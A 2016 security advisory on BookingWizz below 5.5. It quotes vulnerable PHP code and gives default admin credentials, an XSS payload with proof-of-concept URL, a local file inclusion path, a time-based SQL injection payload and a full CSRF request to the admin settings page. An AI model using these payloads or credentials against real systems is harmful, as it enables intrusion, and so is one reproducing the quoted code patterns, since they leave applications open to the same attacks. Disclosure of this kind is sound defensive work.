  1. ADVISORY INFORMATION ======================================== Title: BookingWizz < 5.5 Multiple Vulnerability Application: BookingWizz Class: Sensitive Information disclosure Remotely Exploitable: Yes Versions Affected: < 5.5 Vendor URL: http://codecanyon.net/item/booking-system/87919 Bugs:Default credentials, CSRF, XXS, SQLi Injection, LFI Date of Public Advisory: 15 Jun 2016 Author: Mehmet Ince     2. CREDIT ======================================== Those vulnerabilities was identified during external penetration test by Mehmet INCE from PRODAFT / INVICTUS   Original Advisory: https://www.mehmetince.net/exploit/bookingwizz-55-multiple-vulnerability   PR1 - Default Administrator Credentials ======================================== File: install.php   People are to lazy to change default credential unless application force them to do that.   Line 128: <br />Default username/password: <b>admin/pass</b></div>";     PR2 - Cross Site Scripting ======================================== File : eventList.php // Improper user input validation on   Line 24: $serviceID = (!empty($_REQUEST["serviceID"]))?strip_tags(str_replace("&apos;","<code>",$_REQUEST["serviceID"])):getDefaultService();   Line 60: <?php echo SAMPLE_TEXT?> <strong><?php echo VIEW?> <a href="https://www.exploit-db.com/exploits/39955/index.php?serviceID=<?php echo $serviceID?>"><?php echo CALENDAR?></a></strong>   Payload = 1337" onmouseover="alert(1) PoC = http://www.convergine.com/scripts/booking/eventList.php?serviceID=1337%22%20onmouseover=%22alert(1)     PR3 - Local File Inclusion ======================================== File:config.php   Lang variable is under the user control.   Line 31: $lang = (!empty($_REQUEST["lang"])) ? strip_tags(str_replace("&apos;", "</code>", $_REQUEST["lang"])) : &apos;english&apos;;   Storing user controlled variable within session variable.   Line 36 - 38 :   if (!empty($_REQUEST["action"]) && $_REQUEST["action"] == "changelang") { $_SESSION[&apos;curr_lang&apos;] = $lang; }   And using it with include function which cause straightforward file inclusion.   Line 60 - 68:   $languagePath = MAIN_PATH."/languages/".$_SESSION[&apos;curr_lang&apos;].".lang.php"; if(is_file($languagePath)) {   include MAIN_PATH."/languages/".$_SESSION[&apos;curr_lang&apos;].".lang.php";   }else{ print "ERROR !!! Language file ".$_SESSION[&apos;curr_lang&apos;].".lang.php not found"; exit(); }   PR4 - SQL Injection ======================================== We&apos;ve seen a lot of potentially SQL Injection vulnerability during code review. 2 example can be given for this potential points.   File : ajax/checkDeletedServices.php   line 19 - 20:   $bsid = (!empty($_REQUEST["bsid"])) ? $_REQUEST["bsid"] : array(); $type = (!empty($_REQUEST["type"])) ? $_REQUEST["type"] : &apos;service&apos;;   Line 26:   if($type==&apos;service&apos;){ $service = getService($id); $name = $service[&apos;name&apos;]; }   This function executes query with $id parameter which is user input through checkDeletedServices.php file. function getService($id, $field=null) {   $sql = "SELECT * FROM bs_services WHERE id=&apos;{$id}&apos;"; $res = mysql_query($sql); if ($field == null) { return mysql_fetch_assoc($res); } else { $row = mysql_fetch_assoc($res); return $row[$field]; } }     File : ajax/checkChangeAvailability.php   Line 19 -21 $id = (!empty($_REQUEST["id"])) ? $_REQUEST["id"] : &apos;&apos;; $interval = getServiceSettings($id,&apos;interval&apos;);     getServiceSettings function calls another function named as getService which is also vulnerable against SQL Injection.   function getServiceSettings($id, $field=null) { $serviceType = getService($id,&apos;type&apos;); if($serviceType==&apos;t&apos;){ $sql = "SELECT * FROM bs_service_settings bss INNER JOIN bs_services bs ON bss.serviceId= bs.id WHERE bss.serviceID=&apos;{$id}&apos;";   }else{ $sql = "SELECT * FROMbs_service_days_settings bsds INNER JOIN bs_services bs ON bsds.idService= bs.id WHERE bsds.idService=&apos;{$id}&apos;";   } $res = mysql_query($sql); $row = mysql_fetch_assoc($res); $row[&apos;type&apos;] = $serviceType; if ($field == null) { return $row; } else {   return $row[$field]; } }   In order to exploit this flaws, Time Based SQLi techniques was used.   Payload: id=1&apos; AND SLEEP(5) AND &apos;WAlE&apos;=&apos;WAlE   PR5 - CSRF ======================================== File: bs-settings.php   This file is reponsible for administrator account settings.Here is the HTTP POST request.   POST /booking/bs-settings.php HTTP/1.1 Host: www.test.dev User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.test.dev/scripts/booking/bs-settings.php Cookie: PHPSESSID=1511036c75229f53ae475a0615661394; __utma=256227097.1395600583.1465982938.1465982938.1465982938.1; __utmc=256227097; __utmz=256227097.1465982938.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); wordfence_verifiedHuman=498f28acf0e6151e19053a23c0fbc76b Connection: close Content-Type: multipart/form-data; boundary=---------------------------305761854111129072091034307 Content-Length: 2678   -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="new_pass"     -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="new_pass2"     -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="email"   test@yopmail.com -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="pemail"   test@yopmail.com -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="pcurrency"   CAD -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="tax"     -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="time_mode"   0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="date_mode"   Y-m-d -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="use_popup"   1 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="currency"   $ -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="currencyPos"   b -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="lang"   english -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="language_switch"   1 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="timezone"   America/Toronto -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="multi_day_notification"   0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="multi_day_notification_on"   n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="single_day_notification"   0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="single_day_notification_on"   n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="event_notification"   0 -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="event_notification_on"   n -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="cron_type"   cron -----------------------------305761854111129072091034307 Content-Disposition: form-data; name="edit_settings"   yes -----------------------------305761854111129072091034307--     There is NOT csrf token at all.
